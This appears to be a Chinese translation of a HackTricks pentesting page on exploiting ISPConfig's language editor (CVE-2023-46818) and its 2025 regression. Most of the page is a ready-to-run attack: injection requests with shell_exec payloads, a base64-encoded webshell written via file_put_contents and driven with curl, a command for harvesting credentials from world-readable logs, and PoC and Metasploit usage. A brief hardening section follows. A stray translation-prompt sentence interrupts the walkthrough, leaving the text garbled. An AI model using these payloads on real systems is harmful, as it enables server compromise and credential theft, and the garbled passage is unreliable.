ISPConfig
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
概述
ISPConfig 是一个开源的托管控制面板。旧的 3.2.x 构建包含一个语言文件编辑器功能;当为超级管理员启用时,恶意格式的翻译记录可导致任意 PHP 代码注入。这可能在 Web 服务器上下文中导致 RCE,并且根据 PHP 的执行方式,会导致 privilege escalation。
关键默认路径:
- Web 根目录通常位于
/var/www/ispconfig,当使用php -S或通过 Apache/nginx 提供服务时。 - Admin UI 可通过 HTTP(S) vhost 访问(有时仅绑定到 localhost;如有需要,请使用 SSH port-forward)。
提示:如果面板绑定到本地(例如 127.0.0.1:8080),请进行转发:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
语言编辑器 PHP 代码注入 (CVE-2023-46818)
- 受影响:ISPConfig 到 3.2.11(在 3.2.11p1 中修复)
- 前提条件:
- 以内置的 superadmin 账户
admin登录(根据厂商说法,其他角色不受影响) - 语言编辑器必须启用:
admin_allow_langedit=yes在/usr/local/ispconfig/security/security_settings.ini - 影响:经过认证的管理员可以注入任意 PHP,这些代码会被写入语言文件并由应用执行,从而在 web 上下文实现 RCE
参考:NVD 条目 CVE-2023-46818 以及厂商公告链接见下方 References 部分。
手工利用流程
- 打开/创建语言文件以获取 CSRF 令牌
发送第一次 POST 以初始化表单,并从 HTML 响应中解析 CSRF 字段(csrf_id, csrf_key)。示例请求路径:/admin/language_edit.php。
- 通过 records[] 注入 PHP 并保存
提交第二次 POST,包含 CSRF 字段和一个恶意的翻译记录。最小化命令执行探测:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
带外测试(观察 ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- 写文件并放置 webshell
使用 file_put_contents 在 web 可访问路径(例如 admin/)下创建一个文件:
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
然后写一个简单的 webshell,使用 base64 来避免 POST body 中的坏字符:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
请粘贴或提供 src/network-services-pentesting/pentesting-web/ispconfig.md 的内容,我会按照要求把相关英文翻译成中文并保留原有的 Markdown/HTML 语法和标签。
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
如果 PHP 以 root 身份执行(例如通过 root 启动的 php -S 127.0.0.1:8080),将会导致立即获得 root RCE。否则,你将以 web 服务器用户的身份获取代码执行权限。
2025 regression (ISPConfig 3.3.0 / 3.3.0p1)
语言编辑器漏洞在 3.3.0/3.3.0p1 中再次出现,并在 3.3.0p2 中修复。先决条件保持不变(admin_allow_langedit 和 admin 登录)。同一补丁还修复了一个 monitor XSS 和可被全世界读取的轮换日志。
Notes:
- 在 3.3.0/3.3.0p1 中,位于
/usr/local/ispconfig/interface/log/下的可被全世界读取的轮换日志在启用调试日志时可能会 leak 凭据:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
- Exploit 步骤与 CVE-2023-46818 相匹配;3.3.0p2 在语言编辑之前添加了额外检查。
Python PoC
一个 ready-to-use exploit 会自动化 token handling 和 payload delivery:
示例运行:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Metasploit 模块(发布于 2025 年 7 月)
Rapid7 添加了 exploit/linux/http/ispconfig_lang_edit_php_code_injection,如果所提供的 admin 账户具有 system-config 权限,该模块可以自动启用 admin_allow_langedit。
use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run
该模块通过 records[] 写入 base64-encoded payload 并执行,从而获得 PHP Meterpreter 或 custom payload。
加固
- 将版本升级到 3.2.11p1 或更高以修复原始问题;对于 2025 年的 regression,升级到 3.3.0p2 或更高。
- 除非确有必要,否则禁用语言编辑器:
admin_allow_langedit=no
- 避免以 root 身份运行面板;配置 PHP-FPM 或 Web 服务器以放弃特权
- 强制为内置的
admin账户启用强身份验证
参考资料
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
- ISPConfig 3.3.0p2 Released – Security Update
- CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


